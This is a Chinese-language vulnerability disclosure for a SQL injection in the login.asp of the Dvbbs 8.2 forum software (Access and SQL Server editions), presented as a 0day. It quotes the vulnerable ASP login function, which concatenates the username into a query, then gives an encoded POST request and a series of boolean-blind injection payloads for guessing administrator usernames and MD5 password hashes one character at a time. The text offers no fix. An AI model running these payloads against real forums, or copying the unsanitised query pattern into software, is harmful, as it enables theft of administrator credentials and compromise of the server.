Dvbbs8.2 access/sql 版login.asp远程sql注入

 漏洞描述：

中国应用最广泛的论坛程序，最新dvbbs8.2的注入漏洞0day 包括官方版本在内的access及sql版本。漏洞存在源程序 login.asp
Login.asp 程序在检查隐藏值user用户名的登陆时没有过滤特殊符号，导致可以利用sql注入方式猜解出论坛管理员及所有用户的密码或者执行其它高级的sql语句直接威胁到服务器安全。


漏洞等级：

高危

漏洞分析：

password=123123&codestr=71&CookieDate=2&userhidden=2&comeurl=index.asp&submit=%u7ACB%u5373%u767B%u5F55&ajaxPost=1&username=where%2527%2520and%25201%253D%2528select%2520count%2528*%2529%2520from%2520dv_admin%2520where%2520left%2528username%252C1%2529%253D%2527a%2527%2529%2520and%2520%25271%2527%253D%25271

Login.asp 代码片段 

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Rem ==========论坛登录函数=========
Rem 判断用户登录
Function ChkUserLogin(username,password,mobile,usercookies,ctype)
    Dim rsUser,article,userclass,titlepic
    Dim userhidden,lastip,UserLastLogin
    Dim GroupID,ClassSql,FoundGrade
    Dim regname,iMyUserInfo
    Dim sql,sqlstr,OLDuserhidden
    FoundGrade=False
    lastip=Dvbbs.UserTrueIP
    userhidden=request.form("userhidden")
    If userhidden <> "1" Then userhidden=2
    ChkUserLogin=false
    If mobile<>"" Then
       sqlstr=" Passport='"&mobile&"'"
    Else
       sqlstr=" UserName='"&username&"'"
    End If
    Sql="Select UserID,UserName,UserPassword,UserEmail,UserPost,UserTopic,UserSex,UserFace,UserWidth,UserHeight,JoinDate,LastLogin,lastlogin as cometime , LastLogin as activetime,UserLogins,Lockuser,Userclass,UserGroupID,UserGroup,userWealth,userEP,userCP,UserPower,UserBirthday,UserLastIP,UserDel,UserIsBest,UserHidden,UserMsg,IsChallenge,UserMobile,TitlePic,UserTitle,TruePassWord,UserToday,UserMoney,UserTicket,FollowMsgID,Vip_StarTime,Vip_EndTime,userid as boardid"
   Sql=Sql & " From [Dv_User] Where "&sqlstr&""
    set rsUser=Dvbbs.Execute(sql)
    If rsUser.eof and rsUser.bof Then
       'strString("本论坛不存在该用户名.@@@@0")
       ChkUserLogin=False
       Exit Function
    Else
       If rsUser("Lockuser") =1 Or rsUser("UserGroupID") =5 Then
           ChkUserLogin=False
           Exit Function
       Else
          If Trim(password)=Trim(rsUser("UserPassword")) Then
              ChkUserLogin=True
              Dvbbs.UserID=RsUser("UserID")
              RegName = RsUser("UserName")
              Article= RsUser("UserPost")
              UserLastLogin = RsUser("cometime")
              UserClass = RsUser("Userclass")    
             GroupID = RsUser("userGroupID")
             OLDuserhidden=RsUser("UserHidden")
              TitlePic = RsUser("UserTitle")
              If Article < 0 Then Article=0
              Set Dvbbs.UserSession=Dvbbs.RecordsetToxml(rsUser,"userinfo","xml")
               Dvbbs.UserSession.documentElement.selectSingleNode("userinfo/@cometime").text=Now()
           Dvbbs.UserSession.documentElement.selectSingleNode("userinfo/@activetime").text=DateAdd("s",-3600,Now())
              Dvbbs.UserSession.documentElement.selectSingleNode("userinfo/@boardid").text=0
           Dvbbs.UserSession.documentElement.selectSingleNode("userinfo").attributes.setNamedItem(Dvbbs.UserSession.createNode(2,"isuserpermissionall","")).text=Dvbbs.FoundUserPermission_All()
              If OLDuserhidden <> CLng(userhidden) Then
                 Dvbbs.UserSession.documentElement.selectSingleNode("userinfo/@userhidden").text=userhidden
                  Dvbbs.Execute("update Dv_user set userhidden="&userhidden&" where UserId=" & Dvbbs.UserID)
              End If
              Dim BS
              Set Bs=Dvbbs.GetBrowser()
              Dvbbs.UserSession.documentElement.appendChild(Bs.documentElement)
              If EnabledSession Then Session(Dvbbs.CacheName & "UserID")=Dvbbs.UserSession.xml
           Else
              If ajaxPro Then
                  strString("用户名或者密码不正确.@@@@0")
              End If
              ChkUserLogin=False
              Exit Function
           End If
       End If
    End If
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漏洞利用：(access版)

由于使用验证码，该漏洞只能纯手工进行注入尝试，在用户登陆页面，用户名处构造sql语句

如：

判断

Where’ and ‘1’=’1




where’ and ‘1’=’2

密码任意6位，输入验证码，根据返回信息，第一条显示用户名或密码错误第二条显示无此用户，猜解用户

where' and 1=(select count(*) from dv_admin where left(username,1)='a') and '1'='1
where' and 1=(select count(*) from dv_admin where left(username,2)='ad') and '1'='1

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猜解密码(md5加密)

where' and 1=(select count(*) from dv_admin where left(password,1)='1') and '1'='1
where' and 1=(select count(*) from dv_admin where left(password,2)='15') and '1'='1

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简单测试官方sql版也存在漏洞，利用过程不写了